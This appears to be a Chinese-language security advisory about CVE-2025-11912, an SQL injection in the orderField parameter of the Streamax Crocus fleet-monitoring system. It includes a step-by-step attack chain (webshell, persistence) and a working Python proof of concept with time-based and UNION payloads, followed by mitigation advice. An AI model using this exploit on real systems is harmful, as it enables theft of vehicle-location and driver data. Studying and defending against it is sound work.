IPBUF安全漏洞报告
English
CVE-2025-11912 CVSS 6.3 中危

CVE-2025-11912:Streamax Crocus系统SQL注入漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11912
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Shenzhen Ruiming Technology Streamax Crocus

相关标签

SQL注入Streamax Crocus深圳市锐明技术CVE-2025-11912中危漏洞车载监控系统车队管理orderField参数远程攻击

漏洞概述

CVE-2025-11912是深圳市锐明技术股份有限公司(CroCus)车载视频监控系统Streamax Crocus 1.3.40版本中存在的一个SQL注入安全漏洞。该漏洞位于设备状态查询接口/DeviceState.do?Action=Query的Query函数中,攻击者可以通过操纵orderField参数注入恶意SQL语句,从而实现对后台数据库的未授权访问和数据操纵。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需低权限认证(PR:L),无需用户交互(UI:N)。漏洞对机密性、完整性和可用性均产生低程度影响。

深圳市锐明技术股份有限公司是一家专注于商用车智能视频监控解决方案的科技企业,其Streamax Crocus系统广泛应用于车队管理、车辆监控和驾驶行为分析等场景。由于该系统通常部署在车辆和车队管理平台中,涉及大量敏感数据,包括车辆位置信息、驾驶员行为记录、视频监控数据等,因此该漏洞可能对用户隐私和企业运营安全构成严重威胁。

值得注意的是,该漏洞的发现者曾提前联系厂商进行披露,但厂商未作出任何回应,这增加了漏洞被恶意利用的风险。漏洞的利用代码已在公开渠道发布,进一步降低了攻击门槛。

技术细节

该SQL注入漏洞存在于Streamax Crocus系统的/DeviceState.do?Action=Query接口中,具体位于Query函数的orderField参数处理逻辑中。

**漏洞原理:**
在正常情况下,orderField参数用于指定设备状态查询结果的排序字段,系统应将其作为列名拼接至SQL ORDER BY子句中。然而,由于开发者未对该参数进行充分的输入验证和参数化处理,攻击者可以在该参数中注入任意SQL语句片段。

**利用方式:**
攻击者可以通过构造包含SQL注入payload的orderField参数实现以下攻击:
1. 基于UNION的联合查询注入,提取数据库中的敏感数据;
2. 基于布尔型或时间型的盲注,逐步推断数据库结构;
3. 利用数据库特性(如MySQL的INTO OUTFILE)写入Webshell或执行系统命令;
4. 通过堆叠查询(stacked queries)执行多条SQL语句,修改或删除数据。

由于该接口需要低权限认证(PR:L),攻击者首先需要获取一个有效的低权限账户凭证,这可以通过暴力破解、社会工程学或购买泄露凭证等方式获得。一旦获取凭证,攻击者即可通过网络远程发起SQL注入攻击,无需用户交互,且攻击复杂度较低。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、ZoomEye等搜索引擎或资产测绘平台发现暴露在公网的Streamax Crocus系统,识别目标系统的版本信息(1.3.40)。
STEP 2
步骤2:获取凭证
由于漏洞利用需要低权限认证,攻击者通过暴力破解、字典攻击、购买泄露凭证或社会工程学等方式获取有效的低权限账户。
STEP 3
步骤3:登录系统
使用获取的凭证登录Streamax Crocus系统,建立有效的会话连接,获取Session Cookie。
STEP 4
步骤4:构造注入Payload
针对/DeviceState.do?Action=Query接口的orderField参数,构造SQL注入payload,如基于UNION的联合查询或基于时间的盲注语句。
STEP 5
步骤5:发送恶意请求
通过HTTP GET请求向目标接口发送包含恶意orderField参数的URL,触发SQL注入漏洞。
STEP 6
步骤6:数据提取与利用
利用注入漏洞提取数据库中的敏感信息,包括用户凭证、车辆位置、驾驶员信息等,或通过INTO OUTFILE写入Webshell获取服务器权限。
STEP 7
步骤7:权限提升与持久化
利用获取的数据库权限尝试提权,植入后门,建立持久化访问通道,进一步控制整个车队管理系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11912 - Streamax Crocus SQL Injection PoC Vulnerable endpoint: /DeviceState.do?Action=Query Vulnerable parameter: orderField Author: Security Researcher """ import requests import sys import urllib.parse TARGET_URL = "http://target:8080" USERNAME = "low_priv_user" PASSWORD = "password123" def login(session, base_url): """Login to obtain session cookie""" login_url = f"{base_url}/Login.do?Action=Login" data = { "userName": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=data, timeout=10) return resp.status_code == 200 def exploit_sqli(session, base_url): """Exploit SQL injection in orderField parameter""" # Time-based blind SQL injection payload payload = "id;SELECT SLEEP(5)-- " encoded_payload = urllib.parse.quote(payload) target_url = f"{base_url}/DeviceState.do?Action=Query&orderField={encoded_payload}" try: resp = session.get(target_url, timeout=15) print(f"[+] Response status: {resp.status_code}") print(f"[+] Response length: {len(resp.text)}") print(f"[+] Response preview: {resp.text[:500]}") return resp except requests.exceptions.Timeout: print("[+] Timeout detected - SQL injection confirmed (time-based)") return None except Exception as e: print(f"[-] Error: {e}") return None def union_injection(session, base_url): """UNION-based SQL injection to extract data""" # Determine number of columns first payloads = [ "id UNION SELECT 1-- ", "id UNION SELECT 1,2-- ", "id UNION SELECT 1,2,3-- ", "id UNION SELECT 1,2,3,4-- ", "id UNION SELECT 1,2,3,4,5-- ", ] for payload in payloads: encoded = urllib.parse.quote(payload) url = f"{base_url}/DeviceState.do?Action=Query&orderField={encoded}" resp = session.get(url, timeout=10) if resp.status_code == 200 and "error" not in resp.text.lower(): print(f"[+] Valid column count with payload: {payload}") # Extract database version version_payload = payload.replace("-- ", "") + ",version()-- " encoded_v = urllib.parse.quote(version_payload) url_v = f"{base_url}/DeviceState.do?Action=Query&orderField={encoded_v}" resp_v = session.get(url_v, timeout=10) print(f"[+] DB version info: {resp_v.text[:300]}") break def main(): session = requests.Session() session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" }) print(f"[*] Target: {TARGET_URL}") print("[*] Attempting login...") if login(session, TARGET_URL): print("[+] Login successful") print("[*] Testing SQL injection...") exploit_sqli(session, TARGET_URL) print("[*] Attempting UNION injection...") union_injection(session, TARGET_URL) else: print("[-] Login failed") if __name__ == "__main__": main()

影响范围

Shenzhen Ruiming Technology Streamax Crocus 1.3.40

防御指南

临时缓解措施
在厂商发布正式补丁之前,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)限制/DeviceState.do接口的访问来源,仅允许可信IP地址访问;2)在反向代理或Web服务器层面部署WAF规则,对orderField参数中包含SQL关键字(如UNION、SELECT、SLEEP等)的请求进行拦截;3)对所有用户输入实施严格的输入验证,仅允许字母、数字和下划线等合法字符;4)监控数据库访问日志,检测异常的SQL查询模式;5)加强账户安全管理,强制使用强密码策略并启用多因素认证;6)考虑暂时关闭或限制受影响接口的功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表